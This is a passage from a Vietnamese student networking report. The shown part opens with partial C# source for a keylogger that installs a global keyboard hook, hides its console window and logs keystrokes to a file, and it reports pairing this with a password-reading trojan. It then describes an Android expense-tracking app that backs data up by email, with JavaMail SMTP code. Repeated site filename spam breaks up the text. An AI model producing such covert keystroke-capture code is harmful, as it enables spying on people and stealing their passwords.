sw.WriteLine(""); break;
case Keys.Alt:
sw.Write("[ALT]"); break;
case Keys.OemOpenBrackets:
sw.Write("["); break;
case Keys.Oem6:
sw.Write("]"); break;
case Keys.Oem1:
sw.Write(";"); break;
case Keys.Oem7:
sw.Write("'"); break;
case Keys.Oemcomma:
sw.Write(","); break;
case Keys.OemPeriod:
sw.Write("."); break;
case Keys.OemQuestion:
sw.Write("/"); break;
case Keys.Space:
sw.Write(" "); break;
default:
sw.Write((Keys)vkCode); break;

}

}
sw.Close();

Thiết lập hook bàn phím và ẩn cửa sổ console
static void HookKeyboard()
{

var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
}

Hàm main chạy chương trình
static void Main(string[] args)
{
HookKeyboard();
}

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

CHƯƠNG 3.

KẾT QUẢ ĐẠT ĐƯỢC VÀ HƯỚNG PHÁT TRIỂN

3.1. Triển khai
- Ngơn ngữ C#
- Mơi trường Windows

Hình 1: Kết quả sau khi chạy chương trình KeyLogger kết hợp trojan đọc password
được ghi ở file Log_.txt


Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

3.2. Kết luận và hướng phát triển
3.2.1. Kết quả đạt được
- Tìm hiểu được cơ chế hoạt động của kỹ thuật Hook.
- Xây dựng được chương trình KeyLogger bắt phím.
3.2.2. Hạn chế
- Chương trình đơn giản chưa đầy đủ chức năng.
- Code chưa tối ưu.
3.2.3. Hướng phát triển
- Phát triển chương trình có thể chụp ảnh màn hình sau một thời gian nhất định.
- Phân biệt được chữ thường và chữ hoa khi ghi vào file.

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

PHẦN II: LẬP TRÌNH MẠNG
Xây dựng ứng dụng quản lý thu chi.
GIỚI THIỆU TỔNG QUAN ĐỀ TÀI
1. Nội dung đề tài
Xây dựng ứng dụng  trên máy điện thoại quản lý thu chi. Chương trình cho phép người
dùng nhập, quản lý thu chi theo ngày/tháng; gửi dữ liệu đến email để lưu giữ.


2. Mục tiêu
Tìm hiểu được các hoạt động trong một ứng dụng di động, các giao thức email: SMTP,
POP3, IMAP; áp dụng kỹ thuật này vào các trường hợp cần thiết khi xây dựng ứng dụng.

3. Môi trường áp dụng
Chương trình mơ phỏng sẽ được viết bằng ngơn ngữ Java.
Trong đồ án môn học này, em sử dụng phần mềm Android Studio để phát triển ứng dụng

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

CHƯƠNG 1.

CƠ SỞ LÝ THUYẾT

Nhờ sự phát triển của công nghệ thơng tin nói chúng và Internet nói riêng, nhiều cơng
việc, tác vụ của con người đã có thể thực hiện một cách dễ dàng hơn. Trong đó, vấn đề quản lí
các thơng tin cá nhân hàng ngày như lịch sinh hoạt, chi tiêu, sinh hoạt hàng ngày đang ngày càng
được quan tâm.
Bên cạnh đó, việc sử dụng các ứng dụng sử dụng trên nền tảng điện thoại giúp tăng cao
tính ứng dụng, tiện lợi khi có thể cập nhật bất cứ lúc nào. Một vấn đề được ra là làm thế nào nếu
các thông tin dữ liệu trong di động xảy ra hỏng hóc, hay đơn giản là khi người sử dụng muốn tiếp
tục lưu lại những thông tin mình đã dùng trước đó khi lần nữa cài đặt lại phần mềm.
Trong bài đồ án này sẽ tập trung tìm hiểu về một ứng dụng di động trong quản lí thu chi
cá nhân theo ngày, và được sao lưu, phục hồi dữ liệu thơng qua Email. Có các giao thức đang
được triển khai phổ biến hiện nay là SMTP, IMAP và POP3 .


1.1. SMTP:
1.1.1. Khái quát:
SMTP (tiếng Anh: Simple Mail Transfer Protocol - giao thức truyền tải thư tín đơn giản)
là một chuẩn truyền tải thư điện tử qua mạng Internet. SMTP được định nghĩa trong bản RFC 821
(STD 10) và được chỉnh lý bằng bản RFC 1123 (STD 3), chương 5. Giao thức hiện dùng được là
ESMTP (extended SMTP - SMTP mở rộng), được định nghĩa trong bản RFC 2821.
Mặc dầu các Server và các phần mềm quản lí thư điện tử sử dụng SMTP để gửi và nhận
thư, nhưng ở cấp độ người dùng cá nhân, trong các phần mềm Client để nhận gửi thư thì STMP
chỉ ứng dụng để gửi thư mà thôi, việc nhận thư thường dùng các giao thức khác là IMAP hay
POP3.
SMTP sử dụng port 25 để giao tiếp giữa cái Mail Server với nhau. Cịn đối với các Client
thì thường truyền thư đến Server thơng qua port 587. Cũng có ngoại lệ một số nhà cung cấp dịch
vụ dùng port 465 thay vì tn theo tiêu chuẩn (port 587) cho mục đích kể trên.
Kết nối SMTP được đảm bảo an toàn bằng SSL, thường được biết đến với tên là SMTPS.
Mặc dầu những hệ thống Mail Server hay các Web Mail dùng các chuẩn riêng của họ để
cho phép các tài khoản truy cập vào hòm thư trong hệ thống của họ, tất cả đều sử dụng giao thức
SMTP để gửi hoặc nhận email từ phạm vi bên ngoài hệ thống.

1.1.2. Quá trình email di chuyển trong MTS(Mail Taransfer System) bằng
SMTP:

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

Bản thân các ứng dụng gửi email đóng vai trị các MUA (Mail User Agent). Khi người
thực hiện gửi, email sẽ được chuyển tới MSA (Mail Submit Agent) cũng chính là MTA (Mail
Transfer Agent) biên đầu, thường thì MSA và MTA biên đầu cùng chạy trên một máy. Email sau

đó tiếp tục được chuyển tiếp (relay) thông qua các MTA trong một trường mạng cho tới khi chạm
MTA biên cuối. MTA này có nhiệm vụ thực hiện truy vấn DNS để tìm ra MX (Mail Exchanger)
Server thích hợp dựa trên tên miền đằng sau dấu @ (vd: @gmail.com) và chuyển tiếp tới các MX
record có trong kết quả tìm được. Email cuối cùng sẽ được chuyển và lưu trữ tại MDA (Mail
Delivery Agent) theo định dạng mailbox. Vậy, nhiệm vụ SMTP là thực hiện vận chuyển email từ
email client (MUA) tới hộp thư của người nhận (MDA).

Quá trình chuyển email
Một khi đã chuyển thư đến Mail Server cục bộ, mail sẽ được người dùng đọc thông qua
giao thức IMAP hoặc POP3

1.2. POP3:
POP3 (Post Office Protocol version 3, RFC 1939) là giao thức nhận email, cho phép
người dùng tải thư về máy, đọc và quản lý thư trên máy cục bộ. Thư sau khi tải về sẽ có thể được
xóa khỏi máy chủ hoặc lưu trữ dưới dạng bản sao do dung lượng lưu trữ trên máy chủ hạn chế.
POP3 sử dụng port mặc định là 110 để thực hiện thủ tục nhận mail. Tuy nhiên, có thể sử dụng
port 995 để mã hóa kết nối trên kênh truyền SSL. Thủ tục nhận mail trên POP3 diễn ra như sau:


Người dùng thông qua Email Client gửi yêu cầu kết nối tới Email Server (MDA), quá
trinh bắt tay 3 bước diễn ra để tạo kết nối TCP



Email Server yêu cầu xác thực người dùng trước khi truy cập hộp thư



Duyệt và tải email về máy


Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

Người dùng thực hiện đọc, xóa hoặc lưu bản sao của email trên MDA (lưu ý, mọi thao



tác bấy giờ chỉ là đánh dấu – mark)


Kết thúc phiên, toàn bộ yêu cầu chỉnh sửa thực sự được thực thi



Email Server chủ động ngắt kết nối, giải phóng tài nguyên

Một giao thức khác có chức năng thay thế là IMAP (Message Access Protocol).

1.3. IMAP:
IMAP (Internet Message Access Protocol, RFC 3501) cũng là giao thức nhận Email, ra
đời sau POP3, hỗ trợ thêm nhiều tính năng và khắc phục được một số nhược điểm, do đó phức
tạp hơn POP3. Dung lượng lưu trữ khơng cịn là vấn đề lớn nên IMAP cho phép thư được giữ tại
server, có thể tải về trên nhiều máy và được đồng bộ hóa dữ liệu với nhau. Điều này khiến việc
thao tác chỉnh sửa biên tập trên ứng dụng Email được áp dụng đối với hòm thư ngay khi trực
tuyến. Hòm thư trên server được chia thành nhiều thư mục (hộp thư đến, thư đã gửi,…) và hỗ trợ
người dùng tạo thư mục riêng. Với mỗi Email, IMAP cho phép gắn cờ để theo dõi trạng thái của
thư đó và tải vể một phần hoặc tồn bộ. IMAP sử dụng port mặc định là 143, port cho kênh

truyền mã hóa SSL là 993. Một phiên làm việc với IMAP cũng tương tự POP3, khác nhau ở các
bước
Thực hiện duyệt email (theo cấu trúc thư mục và trạng thái), tải về đọc một phần hoặc



toàn bộ email (bản sao)
Mọi chỉnh sửa biên tập (xóa, di chuyển, thay đổi cờ,…) đều được áp dụng ngay sau



khi thực hiện lệnh, miễn còn trong chế độ trực tuyến

1.4. So sánh POP3 và IMAP:


Ưu điểm của POP
Là giao thức thời đầu, POP tuân theo một ý tưởng đơn giản là chỉ một máy khách yêu cầu

truy cập mail trên server và việc lưu trữ mail cục bộ là tốt nhất. Điều này dẫn tới những ưu điểm
sau:
Mail được lưu cục bộ, tức ln có thể truy cập ngay cả khi khơng có kết nối Internet.


Kết nối Internet chỉ dùng để gửi và nhận mail.



Tiết kiệm không gian lưu trữ trên server.




Được lựa chọn để lại bản sao mail trên server.



Hợp nhất nhiều tài khoản email và nhiều server vào một hộp thư đến.

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi



Ưu điểm của IMAP
IMAP được tạo ra để cho phép truy cập từ xa email lưu trên một server đầu xa. Ý tưởng là

cho phép nhiều máy khách hay người dùng quản lý cùng một hộp thư đến. Vì vậy, dù bạn có
đăng nhập từ máy tính tại nhà hay máy tính cơng ty thì bạn sẽ ln thấy cùng email và cấu trúc
thư mục do chúng được lưu trên server và tất cả những thay đổi bạn tạo ra với các bản sao cục bộ
ngay lập tức được đồng bộ với server.
Kết quả là, IMAP có những ưu điểm như sau:


Mail được lưu trên server đầu xa, tức có thể truy cập từ nhiều địa điểm khác nhau.




Cần kết nối Internet để truy cập mail.



Xem nhanh hơn khi chỉ có các tiêu đề mail được tải về đến khi nội dung được yêu
cầu rõ ràng.



Mail được dự phòng tự động trên server.



Tiết kiệm không gian lưu trữ cục bộ.



Vẫn cho phép lưu mail cục bộ.

* Trong hai giao thức mail này, IMAP là lựa chọn tốt hơn nếu User cần kiểm tra emails từ nhiều
thiết bị, như là laptop rồi đến máy bàn, đến di động… POP3 tải email từ Server về một máy tính,
rồi sau đó lại xóa mail đó trên Server, vì vậy nếu muốn kiểm tra email từ một máy tính khác thì
sẽ có tình trạng là hộp thư thiếu hoặc không hiện ra các email.

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


CHƯƠNG 2.

PHÂN TÍCH THIẾT KẾ HỆ THỐNG

2.1. Bài tốn và yêu cầu:


Bài toán: Xây dựng ứng dụng  trên máy điện thoại quản lý thu chi. Chương trình cho phép
người dùng nhập, quản lý thu chi theo ngày/tháng; gửi dữ liệu đến email để lưu giữ.



Yêu cầu:
- Người dùng nhập thông tin các khoản thu/chi của mình theo ngày
- Thực hiện sao lưu dữ liệu thông qua phương thức gửi dữ liệu lưu trữ lên email.
- Thực hiện đồng bộ hóa dữ liệu của lần dùng trước khi dữ liệu đã bị xóa

2,2. Phân tích hệ thống:
2.2.1. Chức năng:

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

Use case mô tả chức năng cơ bản của hệ thống
Hệ thống chỉ có duy nhất một tác nhân là người sử dụng phần mềm, gồm các chức
năng chính sau đây:


Quản lí thu chi theo ngày: Hiển thị danh sách các khoản thu/chi theo từng ngày, gồm các
chức năng nhỏ đi kèm như:

Thêm mới một khoản thu/chi

Cập nhật một khoản thu/chi

Xóa một khoản thu/chi khỏi cơ sở dữ liệu

Thống kê theo tháng: Sẽ thực hiện việc thống kê tổng khoản thu/chi của tháng hiện tại và
vẽ sơ đồ thể hiện mối tương quan giữa các khoản chi theo từng loại.

Gửi email lưu trữ dữ liệu: Hệ thống sẽ gửi email về người dùng có nội dung về các khoản
thu/chi theo ngày được chọn kèm một tệp tin chứa cơ sở dữ liệu.

Phục hồi dữ liệu: Hệ thống sẽ nhận email và thực hiện đồng bộ hóa dữ liệu để phục hồi
những dữ liệu đã bị xóa.
2.2.2. Thiết kế hệ thống
* Mơi trường cài đặt
-

Hệ điều hành: Window.
Ngơn ngữ lập trình: Android
Công cụ: Android Studio
Cơ sở dữ liệu: SQLite
Thư viện sử dụng: JavaMail
2.2.3. Giao thức gửi mail SMTP:

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi



BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

* Các bước thực hiện
Quy trình cài đặt các phương thức để gửi mail gồm các bước sau đây:
Bước 1: Cài đặt Properties: thông số khởi tạo Session
Bước 2: Tạo đối tượng Session: một phiên làm việc với Server
Bước 3: Soạn thảo Message
Bước 4: Gửi Message
* Thông số kết nối
Muốn kết nối được đến một Mail Server thì cần phải xác định được địa chỉ, cổng, các
phương thức kết nối. Mỗi Mail Server sẽ có các thơng số khác nhau, được tìm thấy ở phần thơng
tin của Mail Server.
Properties props = new Properties();
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.socketFactory.port", "465");
props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory");
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.port", "465");
* Đối tượng Session
Session ở javamail được hiểu là 1 phiên làm việc khi Mail Client giao tiếp với Mail
Server. Khi Mail Client làm việc với cùng một Server theo các cách khác nhau (các giao thức
khác nhau cho các mục đích khác nhau) thì đối tượng Session sẽ lưu giữ những thơng tin của
phiên làm việc.
Trong Java, việc tạo đối tượng Session được tiến hành như sau:
session = Session.getDefaultInstance(props,
new javax.mail.Authenticator() {
//Authenticating the password
protected PasswordAuthentication getPasswordAuthentication() {

return new PasswordAuthentication(Config.EMAIL, Config.PASSWORD);
}
});
Trong đó: Config.EMAIL, Config.PASSWORD chính là tài khoản email cần đăng nhập.

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


